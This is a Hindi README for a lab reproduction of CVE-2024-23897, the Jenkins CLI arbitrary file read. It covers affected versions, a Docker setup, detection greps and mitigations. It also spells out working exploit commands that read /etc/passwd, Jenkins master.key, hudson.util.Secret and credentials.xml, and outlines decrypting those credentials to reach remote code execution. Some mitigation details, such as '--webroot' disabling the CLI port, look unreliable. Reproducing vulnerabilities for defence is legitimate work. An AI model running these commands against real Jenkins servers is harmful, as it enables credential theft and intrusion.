
Reproduction of cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (गंभीर) — सक्रिय रूप से वास्तविक दुनिया में शोषित
CVE-2024-23897 जेनकिंस के कमांड-लाइन इंटरफ़ेस (CLI) में एक गंभीर मनमानी फ़ाइल पढ़ने की कमजोरी है। जेनकिंस CLI कमांड तर्कों को पार्स करने के लिए args4j लाइब्रेरी का उपयोग करता है। यह लाइब्रेरी @ वर्ण के बाद फ़ाइल पथ (@/path/to/file) को उस फ़ाइल की सामग्री पढ़कर और उन्हें तर्क के रूप में इंजेक्ट करके विस्तारित करती है। एक अप्रमाणित हमलावर बिना किसी प्रमाणीकरण के जेनकिंस कंट्रोलर के फाइलसिस्टम पर मनमानी फ़ाइलें पढ़ने के लिए इस व्यवहार का शोषण कर सकता है।
जब इसे credentials.xml, secrets, या master.key के निष्कर्षण के साथ जोड़ा जाता है, तो यह कमजोरी पूर्ण सर्वर समझौता (RCE) का कारण बन सकती है।
@ वर्ण विस्तारargs4j लाइब्रेरी (जेनकिंस CLI कमांड पार्सर द्वारा उपयोग की जाती है) एक सुविधा को लागू करती है: जब कोई तर्क @ से शुरू होता है, तो यह तर्क के शेष भाग को फ़ाइल पथ मानता है, फ़ाइल की सामग्री पढ़ता है, और इसे कई तर्कों में विभाजित करता है। यह फ़ाइलों के माध्यम से बड़ी तर्क सूचियों को पास करने की अनुमति देने के लिए था।
उदाहरण: java -jar jenkins-cli.jar who-am-i @/etc/passwd args4j को /etc/passwd पढ़ने और इसकी सामग्री को who-am-i कमांड के तर्कों के रूप में उपयोग करने का कारण बनेगा।
चूंकि कुछ CLI कमांड (जैसे connect-node) त्रुटि संदेशों/प्रतिक्रिया में तर्क मानों को प्रतिध्वनित या शामिल करते हैं, एक हमलावर CLI प्रतिक्रिया में फ़ाइल सामग्री का निरीक्षण कर सकता है।
@/etc/passwd जैसे तर्क के साथ एक CLI कमांड भेजता है| उत्पाद | प्रभावित | ठीक किया गया |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (previous) | ≤ 2.414.2 | 2.414.3 |
नोट: ऊपर सूचीबद्ध फिक्स से पहले के सभी जेनकिंस संस्करण कमजोर हैं। CLI सुविधा कई वर्षों से जेनकिंस में मौजूद है, इसलिए पुराने संस्करण भी प्रभावित हैं, भले ही स्पष्ट रूप से सूचीबद्ध न हों।
Docker के साथ एक कमजोर जेनकिंस इंस्टेंस चलाएँ:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
कंटेनर लॉग से प्रारंभिक व्यवस्थापक पासवर्ड नोट करें।
CLI पोर्ट खुला है यह सत्यापित करें:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
आवश्यक निर्भरताओं के साथ Python 3.8+ स्थापित करें:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
फ़ाइल सामग्री CLI प्रतिक्रिया या त्रुटि आउटपुट में दिखाई देती है। उदाहरण के लिए, /etc/passwd पढ़ने से सिस्टम की पासवर्ड फ़ाइल प्रविष्टियाँ वापस आएंगी।
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
master.key और hudson.util.Secret के साथ, आप jenkins_decrypt.py या CVE-2024-23897 संदर्भों से decrypt.py स्क्रिप्ट जैसे उपकरणों का उपयोग करके जेनकिंस क्रेडेंशियल्स को डिक्रिप्ट कर सकते हैं। डिक्रिप्ट किए गए क्रेडेंशियल्स (SSH कुंजियाँ, API टोकन, क्लाउड प्रदाता कुंजियाँ) का उपयोग कनेक्टेड नोड्स और क्लाउड वातावरण पर रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।
एक्सेस लॉग या CLI ऑडिट लॉग में @ के बाद फ़ाइल पथ वाले तर्कों को खोजें:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
यदि तुरंत पैच करना संभव नहीं है, तो --webroot विकल्प सेट करके या पोर्ट 50000 को ब्लॉक करके CLI पोर्ट को अक्षम करें। हालांकि, ध्यान दें कि वेब UI के अंदर HTTP CLI एंडपॉइंट (/cli/) अभी भी शोषणीय हो सकता है, इसलिए पैच करने की दृढ़ता से अनुशंसा की जाती है।
यह रिपॉजिटरी केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस कमजोरी का अनधिकृत शोषण अवैध है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं। केवल उन्हीं सिस्टम पर परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है।
| कार्रवाई | विवरण |
|---|
| जेनकिंस अपडेट करें | जेनकिंस 2.442+ या LTS 2.426.3+ / 2.414.3+ में अपग्रेड करें |
| CLI पोर्ट अक्षम करें | यदि आवश्यक न हो तो फ़ायरवॉल पर TCP पोर्ट 50000 को ब्लॉक करें |
| नेटवर्क पहुंच प्रतिबंधित करें | जेनकिंस CLI पोर्ट तक पहुंच को केवल विश्वसनीय नेटवर्क तक सीमित करें |
| प्रमाणीकरण सक्षम करें | सुनिश्चित करें कि जेनकिंस सभी पहुंच के लिए प्रमाणीकरण की आवश्यकता है |
| लॉग की निगरानी करें | एक्सेस लॉग में @ तर्कों वाले CLI कमांड देखें |